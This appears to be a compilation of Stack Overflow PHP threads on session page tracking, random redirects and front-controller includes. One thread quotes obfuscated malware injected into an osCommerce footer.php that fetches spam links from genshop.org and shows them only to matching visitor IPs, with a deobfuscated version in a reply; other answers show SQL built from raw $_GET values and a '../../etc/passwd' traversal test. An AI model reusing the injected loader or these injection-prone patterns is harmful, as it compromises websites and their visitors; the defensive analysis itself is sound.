I currently have the following code (which works from what I can tell so far)
session_start();
if(!is_array($_SESSION['page'])) {
$_SESSION['page']=array();
}
$_SESSION['page'][]=$_SERVER['REQUEST_URI'];
$entry=reset($_SESSION['page']);
$exit=end($_SESSION['page']);
Is this the best way to accomplish tracking of entry and exit pages with PHP?
Edit:
This (from #T0xicCode) appears to be a better option:
session_start();
if(!is_array($_SESSION['page'])) {
$_SESSION['page'] = array('entry' => $_SERVER['REQUEST_URI']);
}
$_SESSION['page']['exit'] = $_SERVER['REQUEST_URI'];
$entry = $_SESSION['page']['entry'];
$exit = $_SESSION['page']['exit'];
I'd suggest using something like google analytics, but if you want a DIY, pure php solution, something like the following should work. It doesn't track the pages in the middle, which your original solution does.
session_start();
if(!in_array('page', $_SESSION) || !is_array($_SESSION['page'])) {
$_SESSION['page'] = array('entry' => $_SERVER['REQUEST_URI']);
}
$_SESSION['page']['exit'] = $_SERVER['REQUEST_URI'];
$entry = $_SESSION['page']['entry'];
$exit = $_SESSION['page']['exit'];
You'll also have to determine how often you'll purge old sessions. If I come back after 2 weeks, is it a new browsing session, or is it the continuation of the old one?
Related
I am trying something strange with code i just want to know weather it is possible to perform a php code like this one
<?php
$cururl= ucfirst(pathinfo($_SERVER['PHP_SELF'], PATHINFO_FILENAME));
$nexurlw = $cururl-1;
echo "$nexurlw";
?>
I have a problem in this code. My current page url is 30.php and i have a button on page "go to previous page" i want to change its url 29.php with the help of this function.
But this function echo 30 every time.
Try this :
$cururl = ucfirst(pathinfo($_SERVER['PHP_SELF'], PATHINFO_FILENAME));
$intUrl = ((int) $cururl) - 1;
$nexurlw = (string) $intUrl.'.php';
echo "$nexurlw";
Even if it happens to be true in your case (because that's the default in a raw PHP installation) there's often no direct mapping between URL locations and filesystem objects (files / directories). For instance, this question's URL is
https://stackoverflow.com/questions/68504314/how-to-get-current-webpage-name-and-echo-with-some-modification but the Stack Overflow server does not have a directory called 68504314 anywhere on its disk.
You want to build a URL from another URL, thus there's no even any benefit in having the filesystem involved, you can just gather the information about current URL from $_SERVER['REQUEST_URI']. E.g.:
$previous_page_url = null;
if (preg_match('#/blah/(\d+)\.php#', $_SERVER['REQUEST_URI'], $matches)) {
$current_page_number = (int)$matches[1];
if ($current_page_number > 1) {
$previous_page_url = sprintf('/blah/%d.php', $current_page_number - 1);
}
}
I would like to use this concept on my webshop, but how can I send variables through?
(You know index.php? Page = test & variable = 22 // variable does not work)
$page = isset($_GET['Page'])? trim(strtolower($_GET['Page'])) :"front";
$allowedPages = array(
'front' => './include/webshop_frontshop.php',
'logon' => './include/webshop_tjek_login.php',
'test' => './include/webshop_testside.php'
);
include( isset($allowedPages[$page]) ? $allowedPages[$page] : $allowedPages["front"] );
This link works fine!: nywebshop.php?Page=test
This link does not work (says the page does not exist): nywebsite.php?Page=test&item=5
Possible errors:
1) You use spaces in URL (in exemple you did)
2) In php you use $_GET['side'] - not $_GET['Page'] or $_GET['variable']
3) If you want to save variables in all pages after sending, you can use sessions:
$_SESSION['get_saved_param__Page'] = $_GET['Page'];
And it will be good to use standart
if {
// code
} else {
// code
}
As it much easier to read and you will spend most of the time in coding at reading your scripts, not writing.
My PHP is poor, but I'm trying my best to improve!!
I'm attempting to code a really simple php script that loads a random html page from a text file list.
Once people have viewed the html page, they link back to the random.php file and it loads another page... this can continue on forever.
I'm using a text file list as I'll regularly be adding more pages. My issue is there is no where in my code to prevent repeat visits!! Right now I only have about 8 links, and on more than one occasion I've had the same link 'randomly' come up 3 times in a row :( Hoping there is something simple I can add to this to prevent repetitions, and if all links have been viewed, then it resets. Many Thanks :)
<body>
<?php
$urlist=file("randomlinks.txt");
$nl=count($urlist);
$np=rand(0,$nl-1);
$url=trim($urlist[$np]);
header("Location: $url");
exit;
?>
</body>
Since the user does not know in what order the links are in the text file, if you were to read said links in sequence they would seem "random" (and you can shuffle them when first creating the file).
So you can:
save in session the index of the last link seen
link the link index to system time. This does not prevent repetitions, but guarantees that no two links come out equal, unless you hit 'refresh' after exactly the right amount of time.
Method 1:
$urlist=file("randomlinks.txt");
$nl=count($urlist);
session_start();
if (!isset($_SESSION['link'])) // If link is not in session
$_SESSION['link'] = 0; // Start from 0 (the first)
$np = $_SESSION['link']++; // Next time will use next
$_SESSION['link'] %= $nl; // Start over if nl exceeded
$url=trim($urlist[$np]);
Header("Location: $url");
Method 2:
...
$nl=count($urlist);
$np = time() % $nl; // Get number of seconds since the Epoch,
// extract modulo $nl obtaining a number that
// cycles between 0 and $nl-1, every $nl seconds
$url=trim($urlist[$np]);
Header("Location: $url");
Another method would be to remember the last N links seen - but for this, you need a session variable - so as not to get them again too soon.
session_start();
if (!isset($_SESSION['urlist'])) // Do we know the user?
$_SESSION['urlist'] = array(); // No, start with empty list
if (empty($_SESSION['urlist'])) // Is the list empty?
{
$_SESSION['urlist'] = file("randomlinks.txt"); // Fill it.
$safe = array_pop($_SESSION['urlist']);
shuffle($_SESSION['urlist']); // Shuffle the list
array_push($_SESSION['urlist'], $safe);
}
$url = trim(array_pop($_SESSION['urlist']));
If you have five URLS 1, 2, 3, 4 and 5, you might get:
1 5 3 4 2 1 4 2 5 3 1 2 3 5 4 1 4 3 2 5 1 4 ...
...the list is N-1 random :-), all links appear with equal frequency, and the same link may reappear at most at a 2-remove, like the "4" above (...4 1 4...); if it does, you'll never see it again for at least $nl visits.
ALSO
You should not use Header() from within a <BODY> tag. Remove <BODY> altogether.
You don't need to use exit() if you are at the natural end of the script: the script will exit by itself.
The simplest way I can think of would be to use a cookie.
The Internet is full of tutorials such as the following:
http://www.w3schools.com/php/php_cookies.asp
For example:
<?php
if (isset($_COOKIE["vistList"]))
$visited = split(","$_COOKIE["visitList"]);
foreach ($visited as &$value) {
if ($value == /* new site url */) {
//Find a new one
}
}
else
$expire=time()+60*60*24*30;
setcookie("vistList", "List-of-visited-URLs, separated-by-commas", $expire);
?>
I have not had a chance to test this code, but hopefully it can give you ideas.
As noted in the comments, the same thing could be accomplished using php sessions:
<?php
session_start();
if (isset($_SESSION["vistList"]))
$visited = split(","$_SESSION["visitList"]);
foreach ($visited as &$value) {
if ($value == /* new site url */) {
//Find a new one
}
}
else
$_SESSION['vistList']=/* new site URL */
?>
I would use PHP sessions to do this. Take a look at this example.
Store an array of available pages in a session variable. Every time you get a page, you remove that page from the array. When the array is empty, you reset it again from your original source.
Here's what your code might look like:
session_start();
if (empty($_SESSION["pages"]))
$_SESSION["pages"] = file("randomlinks.txt");
$nl = count($_SESSION["pages"]);
$np = mt_rand(0, $nl-1);
// get the page, remove it from the array, and shift all higher elements down:
list($url) = array_splice($_SESSION["pages"], $page, 1);
die(header("Location: $url"));
I'm looking at a site that has been exploited by someone/something. The site has had a bunch of links injected into it's footer that links to pharmaceutical pitches, and who knows what else. There are/were a lot of links right at the top of the footer. I can only find these now, on the cached pages in the Yahoo index. Google is still not happy w/ the site though, and the live site does not show any links anymore. This is for a client..so I mostly know what I was told, and what I can find else wise.
I found this code at the very 'tip/top' of the footer.php (it's an OsCommerse Site):
<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m";
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = # $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f++ ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0 ) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?>
When I view the source cached pages that have the 'Bad' links, this code fits right in where I found it in the footer.php source. A little research on google show that there are exploits out there w/ similar code.
What do you think, when I run it on my own server all I get is the echoed comment in the source only like so:
<!-- 069c5b4fe5027f9b37de31d2be5eac67 -->
I don't want to just hastily remove the code and say 'your good' just because it looks bad, especially because I have no immediate way of knowing that the 'bad links' are gone. BTW, the links all go to a dead URL.
You can see the bad pages still cached at Yahoo:
http://74.6.117.48/search/srpcache?ei=UTF-8&p=http%3A%2F%2Fwww.feedroller.com%2F+medicine&fr=yfp-t-701&u=http://cc.bingj.com/cache.aspx?q=http%3a%2f%2fwww.feedroller.com%2f+medicine&d=4746458759365253&mkt=en-US&setlang=en-US&w=b97b0175,d5f14ae5&icp=1&.intl=us&sig=Ifqk1OuvHXNcZnGgPR9PbA--
It seems to reference / load two URLs:
http://genshop.org/script/mask.txt
http://genshop.org/paralinks/new/3/feedroller.com.txt
It's just a spam distribution script.
For partial unobfuscation use:
print preg_replace('#"[^"]+\\\\\w+"#e', "stripcslashes('$0')", $source);
here's the unobfuscated script (more or less)
it's just dumping the contents of this url onto your page
it also checks the remote_addr against a list of IPs (google, et al) to try to remain undetected.
looks like you're being attaced by genshop.com
<?php
$count="cou\156\x74"; // count
$error_reporting="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; // error_reporting
$file="\146\151l\x65"; // file
$file_get_contents="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; // file_get_contents
$strlen="\163\x74rle\156"; // strlen
$strpos="\163tr\160o\x73"; // strpos
$substr="su\x62\x73\164\162"; // substr
$trim="tr\151m"; //trim
ini_set(' display_errors','off');
$error_reporting(0);
$x0b = "http://genshop.org/scripts/mask.txt";
$url = $x0b;
$tmp = "REMOTE_ADDR";
$x0d = $_SERVER[$tmp];
$tmp_filename = "http://genshop.org/paralinks/new/3/feedroller.com.txt";
$IPs = # $file($url);
for ( $i = 0; $i < $count($IPs); $i++ ) {
$curr_ip = $trim($ips[$i]);
if ( $curr_ip != "" ) {
if ( ($x11 = $strpos($curr_ip, "*")) !== false )
$curr_ip = $substr($curr_ip, 0,$x11);
// check visitor ip against mask list
if ( $strlen($curr_ip) <= $strlen($x0d) && $strpos($x0d, $curr_ip) === 0 ) {
$x12 = $file_get_content($tmp_filename);
echo "$x12";
// print spam contents
}
}
}
echo $curr_ip;
}
$tmp2 = "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";
echo $tmp2;
?>
It very much is an attempt to dump information about your running configuration. Remove it immediately.
The way it works is very complicated, and is beyond me, but its one of the first steps at hacking your site.
this is my front controller
$pages = array("matches", "boards", "search", "articles", "interviews", "userlist", "teams", "servers", "awards", "gallery", "qids");
if (!$_SERVER['QUERY_STRING']) include('home_en.php');
elseif (isset($_GET['matchid'])) include('matchid.php');
elseif (isset($_GET['boardid'])) include('boardid.php');
elseif (isset($_GET['articleid'])) include('articleid.php');
elseif (isset($_GET['interviewid'])) include('interviewid.php');
elseif (isset($_GET['userid'])) include('profi.php');
elseif (isset($_GET['teamid'])) include('teamid.php');
elseif (isset($_GET['serverid'])) include('serverid.php');
elseif (isset($_GET['awardid'])) include('awardid.php');
elseif (isset($_GET['galleryid'])) include('galleryid.php');
elseif (isset($_GET['threadid'])) include('threadid.php');
elseif (isset($_GET['blogid'])) include('blogid.php');
..
elseif (in_array($_GET['content'], $pages)) include($_GET['content']);
else echo "File not found =(";
could i somehow add the identifiers to the array too? but i want the pages as index.php?matchid=9438 and for regular pages: index.php?content=matches
would really aprricate some ideas
thanks!
My Suggestion, From My Comment is this:
In order to check what type of id it is, you should use two $_GET parameters. One is the type (match, award, server, etc), one is the ID. That way you don't have to check for 500 different $_GET parameters, just the value of 2. Much more standardized.
Second, you want to make all of it under 1 file for the ID showing.
In the spirit of writing less code, not more, it would be relatively easy to change the SQL statement to grab the record based on if $_GET['type'] was match, award, team, etc. This is of course given that they will probably look the same. If they don't, instead of writing new code to grab each type, instead write code to display it differently
All Variables in this code much be validated/sanatized beforehand.
// First Get the Type
$type = $_GET['type'];
// Then the ID
$id = $_GET['id'];
// SANITIZE YOUR DATA. Replace this with your sanitization.
die("SANITIZE YOUR DATA HERE");
// Get Data Here
$sql = "SELECT * FROM table WHERE type=".$type." AND id=".$id;
$data = mysql_query($sql);
// Next, Include a template based on the data.
// Global the variable so it can be used in the file
Global $data;
include($type."-template.php");
I agree with Tom -- you should look into using a framework such as Zend, Cake, Symfony, Kohana, CodeIgniter, ez-Components, or Seagull. The advantage of using a framework is that they have already solved a lot of issues for you, including:
1) How to structure your code
2) How to interpret pretty urls (i.e. /x/1/y/2 instead of ?x=1&y=2)
3) Where to put certain types of code (html, php, configs, etc)
4) How to fix something you can't figure out (because these frameworks have communities)
and much much more...
That being said, maybe you don't want all the overhead of using a framework (it does require you to learn a lot). In that case, I recommend Rasmus Lerdorf's "No Framework PHP Framework". Rasmus is the creator of PHP, so you know he knows his stuff.
Lastly, to answer your actual question, here's how I would do it:
could i somehow add the identifiers to the array too?
i want the pages as index.php?matchid=9438
and for regular pages: index.php?content=matches
Sure, but yes, as Chacha102 said, you will need 2 parameters: $area (page) and $id.
Example: index.php?area=articles&id=2345
Then you can re-organize & simplify your 'front controller' this way:
/index.php
/areas/articles.php
/areas/boards.php
etc.
Instead of naming the templates articleid.php, just call it articles.php -- this way your area name also tells you which template to use.
$valid_areas = array("matches", "boards", "search", "articles",
"interviews", "userlist", "teams", "servers",
"awards", "gallery", "qids");
$area = strtolower(trim($_REQUEST['area'])); //if you are not posting any forms, use $_GET instead
$id = (int)$_REQUEST['id']; //if you are not posting any forms, use $_GET instead
if(!$id)
{
include('home_en.php');
}
if(!in_array($area), $valid_areas))
{
echo 'Sorry, the area you have requested does not exist: '.$area;
exit();
}
else
{
$template = '/templates/'.$area.'.php';
if(!file_exists($template))
{
echo 'Sorry, the file you have requested does not exist: '.$area.' '.$id);
}
else
{
include($template);
}
}
It might help to go ahead and use a framework such as Zend:
http://framework.zend.com/
You could do this:
<?php
$controllerDefault = 'home';
function sanitize($str)
{
return str_replace(array('.', '/', '\\'), '', $str);
}
//Prevent of Remote File Inclusion
$controller = sanitize($_GET['controller']);
$id = intval($_GET['id']);
if (empty($controller))
{
$controller = $controllerDefault;
}
if (!empty($id))
{
$controller .= 'id';
}
$controllerFile = $controller . '.php';
if (!file_exists($controllerFile)
|| $controller == 'index') //for not recursive index.php include :)
{
exit('Controller "'.$controllerFile.'" not exists');
}
include($controllerFile);
?>
Using this code you can use your application like:
http://yoursite.com/index.php //include('home.php')
http://yoursite.com/index.php?id=285230 //include('homeid.php')
http://yoursite.com/index.php?controller=matches //include('matches.php')
http://yoursite.com/index.php?controller=matches&id=28410 //include('matchesid.php')
http://yoursite.com/index.php?controller=notexists //ERROR! Controller "notexists" not exists
http://yoursite.com/index.php?controller=../../etc/passwd //ERROR! Controller "etcpasswd" not exists
I hope you like it
PD: the code is not tested, but I hope you catch my idea